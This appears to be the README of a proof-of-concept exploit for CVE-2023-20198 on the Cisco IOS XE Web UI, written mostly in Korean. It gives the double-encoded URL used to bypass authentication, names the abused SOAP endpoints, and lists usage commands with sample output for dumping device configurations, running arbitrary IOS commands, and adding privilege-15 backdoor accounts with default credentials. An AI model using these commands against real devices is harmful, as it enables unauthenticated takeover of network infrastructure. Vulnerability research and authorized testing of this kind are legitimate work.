
Proof-of-concept exploit for CVE-2023-20198 targeting Cisco IOS XE Web UI. Enables unauthenticated remote command execution, configuration retrieval, and privilege escalation via SOAP endpoints.
CVE-2023-20198 익스플로잇 PoC
CVE-2023-20198은 부적절한 경로 검증을 통해 Nginx 필터링을 우회하여 인증 없이 webui_wsma_http 웹 엔드포인트에 접근할 수 있도록 하는 취약점입니다.
엔드포인트에 대한 인증을 우회함으로써 공격자는 임의의 Cisco IOS 명령을 실행하거나 Privilege 15 권한을 가지고 설정을 변경할 수 있습니다.
Cisco가 이전에 공개되지 않은 취약점의 활발한 악용에 대한 조사 결과, 위협 행위자들이 먼저 CVE-2023-20198을 악용하여 Privilege 레벨 15의 새 사용자를 추가한 것으로 나타났습니다. 이후 공격에서는 CVE-2023-20273을 악용하여 기본 Linux OS root 사용자로 권한을 상승시켜 삽입을 용이하게 했습니다.
이 PoC는 CVE-2023-20198을 악용하여 두 가지 서로 다른 XML SOAP 엔드포인트를 활용합니다:
취약점 확인, 설정 및 명령 실행 옵션은 모두 cisco:wsma-exec SOAP 엔드포인트를 대상으로 하여 execCLI 요소 태그에 명령을 삽입합니다.
사용자 추가 옵션은 cisco:wsma-config SOAP 엔드포인트를 대상으로 하여 설정 변경을 수행하고 Privilege 15 계정을 추가합니다. 이 엔드포인트는 다른 설정 변경을 위해 [악용]될 수 있지만, 이는 이 PoC의 범위를 벗어납니다.
cisco:wsma-exec SOAP 엔드포인트의 악용은 nuclei 템플릿에서 가져왔습니다.
cisco:wsma-config SOAP 엔드포인트의 악용은 horizon3ai PoC에서 가져왔습니다.
참고: 저는 이 CVE에 대한 원본 연구나 PoC 개발을 수행하지 않았습니다. 크레딧은 참고 문헌 섹션을 참조하세요.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198을 확인하기 위해 -c는 취약점을 악용하여 uname -a를 실행하려고 시도합니다.
예:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g 옵션은 sh run을 실행하여 실행 중인 설정을 가져옵니다.
예:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
-e 옵션으로 임의의 Cisco IOS 명령을 실행할 수 있습니다.
설정 변경에 사용할 때는 극도의 주의가 필요합니다. 입력 검증이 없으며 변경 사항이 즉시 실행 중인 설정에 적용됩니다.
예:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a 옵션은 새로운 Privilege 15 사용자 계정을 생성하는 데 사용할 수 있으며, -u와 -p로 각각 계정 이름과 비밀번호를 선택적으로 지정할 수 있습니다.
예:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d 옵션은 장치에서 사용자 계정을 제거하는 데 사용할 수 있으며, -u로 지정된 사용자 이름을 따릅니다.
합법적인 계정을 삭제하지 않도록 주의해야 합니다.
이 옵션은 악용된 Cisco에 셸/웹 UI 접근이 불가능한 경우를 위해 추가되었습니다. Privilege 15 사용자를 추가해도 웹 UI 접근이 허용되지 않으며 호스트에 악용 흔적을 남길 수 있다는 것이 관찰되었습니다.
Cisco 권고
horizon3ai CVE-2023-20198 연구
horizon3ai CVE-2023-20198 PoC